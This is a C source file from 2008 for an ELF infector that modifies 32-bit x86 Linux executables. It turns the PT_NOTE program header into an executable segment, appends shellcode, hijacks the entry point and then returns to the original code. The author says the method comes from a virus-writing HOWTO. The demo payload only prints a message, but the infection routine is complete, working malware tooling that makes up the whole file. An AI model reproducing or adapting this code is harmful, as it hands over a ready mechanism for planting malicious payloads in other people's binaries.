/*
infect_ELF.c - ELF infection by PT_NOTE section header overwrite method
for 32-bit x86 elves
Copyright (C) 2008 swestres (at hotmail \./ com)
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
I should not be given any credit for the infection method. I saw it in
the virus-writing-HOWTO. The code is however mine, entirely.
"What the fuck is happening?
Ah, man. I shot Marvin in the face...
Why the fuck did you do that?
I didn't mean to do it, it was an accident."
--- Pulp Fiction
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <elf.h>
#include <stdint.h>
/*******************************************************************************
***************************** DEFINES ****************************************
*******************************************************************************/
#define SUCCESS 0
#define FAILURE -1
/*******************************************************************************
****************************** DATA ******************************************
*******************************************************************************/
// this is the actual code we will infect another ELF file with. It's very
// important that this doesn't modify the state of the machine, at least not
// edx.
static char gPayload[] = {
0x52, // push edx
0xE8, 0x16, 0x00, 0x00, 0x00, // call afterStr
0x49, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x2E, 0x2E, 0x2E,
0x20, 0x41, 0x68, 0x68, 0x68, 0x68, 0x2E, 0x2E, 0x2E, 0x0A,
0x59, //afterStr: pop ecx
0x6A, 0x04, // push byte 4
0x58, // pop eax
0x6A, 0x01, // push byte 1
0x5B, // pop ebx
0x6A, 0x16, // push byte 22
0x5A, // pop edx
0xCD, 0x80, // int 0x80
0x5A,
};
// the following code is appended to the code above so that we're able to jmp
// to the original entry point
static char gRet[] = {
//mov dword [esp-4], 0xAAAAAAAA ; patched later on to original entry
0xC7, 0x44, 0x24, 0xFC, 0xAA, 0xAA, 0xAA, 0xAA,
//jmp near [esp-4]
0xFF, 0x64, 0x24, 0xFC
// old code changed eax state but was smaller
// 0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0x00000000 ; addr
// 0xFF, 0xE0 // jmp near eax
};
// stack (in main) data structure that holds information about the file to be
// infected
typedef struct {
char *fileName;
int fd;
void *fdata;
struct stat fstat;
} injFileInfo_t;
/*******************************************************************************
****************************** CODE ******************************************
*******************************************************************************/
void usage(char *appname);
int setupFileInfo(injFileInfo_t *inf, char *fname);
int validateElf(void *elf, size_t size);
Elf32_Phdr *getNoteHeader(void *elf);
Elf32_Addr getNextVaddr(void *elf);
void overwriteNoteHeader(Elf32_Phdr *note, Elf32_Addr vaddr, size_t fsize);
Elf32_Addr setNewEntry(void *elf, Elf32_Addr ne);
int main(int argc, char *argv[])
{
Elf32_Phdr *noteHdr;
injFileInfo_t injFileInfo;
Elf32_Addr newVaddr, oldEntry;
Elf32_Addr pad,i;
if (argc != 2) {
usage(argv[0]);
return 1;
}
if (setupFileInfo(&injFileInfo, argv[1]) == FAILURE) {
return 1;
}
if (validateElf(injFileInfo.fdata, injFileInfo.fstat.st_size)==FAILURE) {
fprintf(stderr, "invalid ELF file\n");
return 1;
}
noteHdr = getNoteHeader(injFileInfo.fdata);
if (!noteHdr) {
fprintf(stderr, "Couldn't locate NOTE program header\n");
return 1;
}
newVaddr = getNextVaddr(injFileInfo.fdata);
if (newVaddr == 0) {
fprintf(stderr, "Couldn't calculate vaddr for new segment\n");
return 1;
}
overwriteNoteHeader(noteHdr, newVaddr, injFileInfo.fstat.st_size);
oldEntry = setNewEntry(injFileInfo.fdata, newVaddr);
*(Elf32_Addr*)&gRet[4] = oldEntry;
munmap(injFileInfo.fdata, injFileInfo.fstat.st_size);
// add the padding and new segment data, close the file and exit
pad = 0x1000 - (injFileInfo.fstat.st_size % 0x1000);
lseek(injFileInfo.fd, 0, SEEK_END);
for(i=0; i<pad; i++) {
write(injFileInfo.fd, "", 1);
}
write(injFileInfo.fd, gPayload, sizeof(gPayload));
write(injFileInfo.fd, gRet, sizeof(gRet));
close(injFileInfo.fd);
printf("Segment vaddr: 0x%08X\n",newVaddr);
return 0;
}
/*
usage --
Writes usage information to stderr
*/
void usage(char *appname)
{
fprintf(stderr, "infect ELF\n"
"usage: %s file\n"
" file: file to infect\n", appname);
}
/*
setupFileInfo --
Does file loading, error checking and error reporting.
Fills out the injFileInfo_t for us.
*/
int setupFileInfo(injFileInfo_t *inf, char *fname)
{
inf->fileName = fname;
inf->fd = open(fname, O_RDWR);
if (inf->fd == -1) {
fprintf(stderr, "couldn't open %s: %s\n", fname, strerror(errno));
return FAILURE;
}
if (fstat(inf->fd, &(inf->fstat)) == -1) {
perror("fstat");
return FAILURE;
}
// make sure our file is a regular one
if (!S_ISREG(inf->fstat.st_mode)) {
fprintf(stderr, "%s is not a regular file\n", inf->fileName);
return FAILURE;
}
// load the file to memory
inf->fdata = mmap(NULL, inf->fstat.st_size, PROT_READ|PROT_WRITE,
MAP_SHARED, inf->fd, 0);
if (inf->fdata == MAP_FAILED) {
perror("mmap");
return FAILURE;
}
return SUCCESS;
}
/*
validateElf --
Check ELF magic number and header integrity
*/
int validateElf(void *elf, size_t size)
{
Elf32_Ehdr *ehdr;
int phdrSize, shdrSize;
if (size <= sizeof(Elf32_Ehdr)) {
return FAILURE;
}
ehdr = elf;
if (*(uint32_t*)ehdr->e_ident != 0x464c457f) {
return FAILURE;
}
if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) {
return FAILURE;
}
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) {
return FAILURE;
}
if (ehdr->e_ident[EI_OSABI] != ELFOSABI_NONE &&
ehdr->e_ident[EI_OSABI] != ELFOSABI_LINUX) {
return FAILURE;
}
if (ehdr->e_type != ET_EXEC ||
ehdr->e_machine != EM_386) {
return FAILURE;
}
phdrSize = ehdr->e_phentsize * ehdr->e_phnum;
shdrSize = ehdr->e_shentsize * ehdr->e_shnum;
if ((phdrSize + shdrSize) >= size) {
return FAILURE;
}
if ((ehdr->e_phoff + phdrSize) >= size) {
return FAILURE;
}
/*
Not needed
if ((ehdr->e_shoff + shdrSize) >= size) {
return FAILURE;
}
*/
return SUCCESS;
}
/*
getNoteHeader --
Returns a pointer to the PT_NOTE program header of a loaded ELF
*/
Elf32_Phdr *getNoteHeader(void *elf)
{
Elf32_Phdr *phdr;
Elf32_Ehdr *ehdr;
Elf32_Half i;
ehdr = elf;
phdr = (Elf32_Phdr*)((uint8_t*)elf + ehdr->e_phoff);
for(i=0; i < ehdr->e_phnum; i++) {
if (phdr->p_type == PT_NOTE) {
return phdr;
}
phdr++;
}
return NULL;
}
/*
getNextVaddr --
Calculates the virual address of a new segment in a loaded ELF file
returns zero if calculation fails
*/
Elf32_Addr getNextVaddr(void *elf)
{
Elf32_Ehdr *ehdr;
Elf32_Phdr *phdr;
Elf32_Half i;
Elf32_Addr vaddr = 0;
Elf32_Word align, size;
ehdr = elf;
phdr = (Elf32_Phdr*)((uint8_t*)elf + ehdr->e_phoff);
// save the vaddr, align and size from the program header with the highest
// vaddr
for(i=0; i < ehdr->e_phnum; i++) {
if (phdr->p_type != PT_LOAD) {
phdr++;
continue;
}
if (phdr->p_vaddr > vaddr) {
vaddr = phdr->p_vaddr;
align = phdr->p_align;
size = phdr->p_filesz;
}
phdr++;
}
//printf("vaddr: 0x%08X, size: 0x%08X align: 0x%08X\n", vaddr, size,
// align);
vaddr += size + align ;//- (size % align);
vaddr = vaddr & 0xFFFFF000; // Try remove this if it doesn't work
return vaddr;
}
/*
overwriteNoteHeader --
Overwrites the old values of the note header with the values for the
new segment
*/
void overwriteNoteHeader(Elf32_Phdr *note, Elf32_Addr vaddr, size_t fsize)
{
Elf32_Addr pad;
pad = 0x1000 - (fsize % 0x1000);
note->p_type = PT_LOAD;
note->p_offset = fsize + pad;
note->p_vaddr =
note->p_paddr = vaddr;
note->p_filesz =
note->p_memsz = sizeof(gPayload) + sizeof(gRet);
note->p_flags = PF_R | PF_W | PF_X;
note->p_align = 0x1000;
}
/*
setNewEntry --
Set the ELF entry to the value given in ne. Returns the old entry
point.
*/
Elf32_Addr setNewEntry(void *elf, Elf32_Addr ne)
{
Elf32_Ehdr *ehdr = elf;
Elf32_Addr oldEntry;
oldEntry = ehdr->e_entry;
ehdr->e_entry = ne;
return oldEntry;
}
/*******************************************************************************
*********************************** EOF ****************************************
*******************************************************************************/